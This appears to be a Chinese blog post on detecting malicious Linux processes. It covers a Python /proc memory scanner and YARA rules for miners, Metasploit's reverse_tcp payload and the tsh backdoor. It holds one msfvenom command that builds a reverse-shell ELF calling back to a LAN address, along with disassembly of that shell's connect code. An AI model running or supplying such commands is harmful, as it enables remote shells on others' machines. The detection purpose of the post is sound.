恶意进程特征提取杂谈

恶意进程特征提取

前段时间在做Linux系统下恶意进程扫描的相关工作,简单来说就是对进程内存进行正则匹配,然后将匹配到的进程揪出来,简化版本的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import re

# 获取进程信息代码简化为读取"/proc"文件里的内容,地址为heap向上的一片内存

# 获取进程的起始地址等信息
def get_process_addr(pid):
map_file = open("/proc/"+str(pid)+"/maps","rb")
line = bytes.decode(map_file.readline())
start_addr = int(line.split("-")[0],16)
maps_list = []
for line in map_file.readlines():
line = bytes.decode(line)
maps_list.append(line)
for i in range(len(maps_list)):
if maps_list[i].find("heap") != -1:
tmp = maps_list[i-1].split("-")[1]
end_addr = int(tmp.split(" ")[0],16)
process_size = end_addr - start_addr
return (start_addr,process_size)

# 读取进程的内存
def get_process_code(pid,addr,size):
mem_file = open(f"/proc/{pid}/mem","rb")
mem_file.seek(addr)
data = mem_file.read(size)
return data

# 对进程内存进行正则匹配
def reg_data(data,regex):
if re.search(regex,data,flags=0) == None:
return False
else:
return True

def main():
test_pid = 2200
(start_addr,process_size) = get_process_addr(test_pid)
data = get_process_code(test_pid,start_addr,process_size)
if reg_data(str(data),"here is regex"):
print("匹配成功!")

if __name__ == "__main__":
main()

进程内存特征的提取本质上和病毒特征码的提取是一致的,都是找到能精确匹配到某段长字符串特征短字符串。提取到的特征码,一方面要能覆盖到足够多某种类型的病毒,一方面又要让误报率最低,前期为了提高进程扫描的覆盖率做了大量对公开的yara库改写,后续为了降低误报率,去除了一些明显会误报的特征,同时又提取了一些可能会被攻击者使用到的工具的一些特征。

以下简单讨论下特征提取时遇到的比较典型的例子,最后总结下提取特征的小技巧。

挖矿工具

恶意进程对安全建设有明显提升的一个场景就是挖矿,主要原因就是挖矿会在系统中常驻,比较容易被进程扫描检测到。

挖矿工具加载为进程后,比较明显的特征主要有:连接的矿池域名/IP(虽然这本来是云防火墙该做的事情)、挖矿使用的协议的特征。前者不多赘述,后者主要是stratum协议,部分相关的yara规则如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
rule cpuminer
{
meta:
description = "https://github.com/pooler/cpuminer"
author = "ivoripuion"
date = "2022/01/02"

strings:
$s1 = "submit_upstream_work"

condition:
any of ($s*) and uint32(0) == 0x464C457F
}
rule xmrig
{
meta:
description = "https://xmrig.com/"
author = "ivoripuion"
date = "2021/12/28"

strings:
$s1 = "Usage: xmrig "
$s2 = "stratum+tcp"

condition:
any of ($s*) and uint32(0) == 0x464C457F
}
rule stratum
{
meta:
description = "stratum mining protocol"
author = "ivoripuion"
date = "2022/1/25"

strings:
$s1 = "mining.subcribe"
$s2 = "mining.notify"
$s3 = "mining.authorize"
$s4 = "mining.submit"
$s5 = "mining.set_difficulty"

condition:
any of ($s*)
}

在一些挖矿的工具中(比如门罗币挖矿工具xmrig),这些字符串(”stratum+tcp”)会被写到配置文件里,当挖矿工具运行后,配置文件被读取到内存中,相关的规则就可以匹配到这些进程。

这里使用xmrig简单测试一下,xmrig的pid为1995,使用的特征为比较经典的stratum协议,修改的代码:

1
2
3
4
5
6
def main():
test_pid = 1995
(start_addr,process_size) = get_process_addr(test_pid)
data = get_process_code(test_pid,start_addr,process_size)
if reg_data(str(data),"stratum\+tcp"):
print("匹配成功!")

实验结果如下:

通用payload

在攻防对抗中,攻击者经常会将后门进行变形混淆,此时文件查杀很容易漏掉这些后门,而后门中的关键payload(比如socket通信)加载到进程后特征通常是不会变的,这也是进程扫描对文件查杀能力补充一个很好的场景。

比较常见的生成后门的工具有msf、cs等,因为主要做的还是ELF文件特征提取工作,这里简单分析下msf中常见的一个通用payload。

生成后门:

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.17.137 LPORT=1234 -f elf -o payload

payload比较关键的代码:

1
2
3
4
5
6
7
8
LOAD:00000000004000AD 48 B9 02 00 04 D2 C0 A8 11 89           mov     rcx, 8911A8C0D2040002h
LOAD:00000000004000B7 51 push rcx
LOAD:00000000004000B8 48 89 E6 mov rsi, rsp ; uservaddr
LOAD:00000000004000BB 6A 10 push 10h
LOAD:00000000004000BD 5A pop rdx ; addrlen
LOAD:00000000004000BE 6A 2A push 2Ah
LOAD:00000000004000C0 58 pop rax
LOAD:00000000004000C1 0F 05 syscall ; LINUX - sys_connect

此时的栈帧状态:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
RAX  0x2a
RBX 0x0
RCX 0x8911a8c0d2040002
RDX 0x10
RDI 0x3
RSI 0x7fffffffe448 ◂— 0x8911a8c0d2040002
R8 0x0
R9 0xa
R10 0x22
R11 0x306
R12 0x0
R13 0x0
R14 0x0
R15 0x0
RBP 0x0
RSP 0x7fffffffe448 ◂— 0x8911a8c0d2040002
RIP 0x4000c1 ◂— syscall /* 0x2579c0854859050f */

系统调用号0x2a,即sys_connect,三个参数分别是0x30x7fffffffe448 ◂— 0x8911a8c0d20400020x10,分别对应fduservaddraddrlen,此时实现的函数为:

1
sys_connect(0x3,0x7fffffffe448,0x10);

这里sys_connect底层实现方法为inet_stream_connect()或者inet_dgram_connect(),这里不多做赘述,我们只关心代码会在后门设置时变动的地方,即第二个参数uservaddr,该参数指向的内存是上文用push rcx压入的机器码:

1
2
LOAD:00000000004000AD 48 B9 02 00 04 D2 C0 A8 11 89           mov     rcx, 8911A8C0D2040002h
;02 00 04 D2 C0 A8 11 89 就是connect的地址信息

uservaddr类型为sockaddr结构体,定义如下:

1
2
3
4
struct sockaddr {
  unsigned short sa_family; //2个字节 address family
  char sa_data[14]; //14个字节 address
};

此时sa_family00 02,代表后面跟的信息为ipv4地址和端口;sa_data04 D2 C0 A8 11 89,翻译一下:

1
2
04 D2       ;0x04d2 = 1234 也就是端口号
C0 A8 11 89 ;0xc0 = 192,0xA8 = 168,0x11 = 17,0x89 - 137 也就是ip地址

这里的端口和ip地址也和设置payload时的参数对上了:

1
LHOST=192.168.17.137 LPORT=1234

所以这段payload代码不会变的部分就是除了这段地址信息的部分:

1
48 B9 00 02 ?? ?? ?? ?? ?? ?? 51 48 89 E6 6A 10 5A 6A 2A 58 0F 05

这也是socket编程通用的系统调用,为了降低误报,可以再加上一些payload中其他的机器码,最终的yara规则如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
rule x64_meterpreter_reverse_tcp 
{
meta:
description = "x64/meterpreter/reverse_tcp"
author = "ivoripuion"
date = "2021/11/25"

strings:
$s1 = {48 B9 02 00 ?? ?? ?? ?? ?? ?? 51 48 89 E6 6A 10 5A 6A 2A 58 0F 05 59 48 85 C0 79 25}

condition:
all of them and uint32(0) == 0x464C457F
}

这里我也用这个规则在vt hunt中捕获到了不少的恶意样本:

根据作者代码习惯提取特征

在提取特征的过程中,发现了还有一些病毒的特征是由作者的书写习惯导致的,比如内存初始化时的一些机器码,这里简单举个例子。

tshd是一个tiny shell,由于其代码精简,所以很容易被魔改,并且被控制端的程序tshd运行后会常驻,所以改后门很契合恶意进程扫描的场景。

后门的作者在初始化AES密钥时对内存进行了一段初始化:

1
2
memset( pel_ctx->k_ipad, 0x36, 64 );
memset( pel_ctx->k_opad, 0x5C, 64 );

关键部分我编译后对应的机器码:

1
2
3
.text:000000000040119E 48 BA 36 36 36 36 36 36 36 36                                   mov     rdx, 3636363636363636h
......
.text:00000000004011E0 48 BA 5C 5C 5C 5C 5C 5C 5C 5C mov rdx, 5C5C5C5C5C5C5C5Ch

根据不同版本的编译器,存放0x5C这段的寄存器也会不同,所以这段的yara特征可以写成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rule tshd
{
meta:
description = "https://github.com/orangetw/tsh"
author = "ivoripuion"
date = "2021/11/25"

strings:
$s1 = {48 ?? 5C 5C 5C 5C 5C 5C 5C 5C}
$s2 = {48 ?? 36 36 36 36 36 36 36 36}

condition:
all of ($s*) and uint32(0) == 0x464C457F
}

这部分的代码为初始化密钥时使用到的,很少攻击者会去魔改后门后对这部分的特征进行删除。

将yara规则改为正则,使用进程扫描的代码测试下:

1
2
3
4
5
6
def main():
test_pid = 2486
(start_addr,process_size) = get_process_addr(test_pid)
data = get_process_code(test_pid,start_addr,process_size)
if reg_data(str(data),"\x48(.){1}\x5C\x5C\x5C\x5C\x5C\x5C\x5C\x5C"):
print("匹配成功!")

实验结果如下:

总结

最后简单总结下,这里简单介绍了根据程序读取的配置文件、使用的协议、一些通用的系统调用以及病毒作者的代码习惯的角度去提取病毒的特征码。其实提取特征码以我现在来说还是没有什么共性的方法,主要还是在提高特征码覆盖率和降低误报率的前提下,在病毒中搜索比较明显的字符串。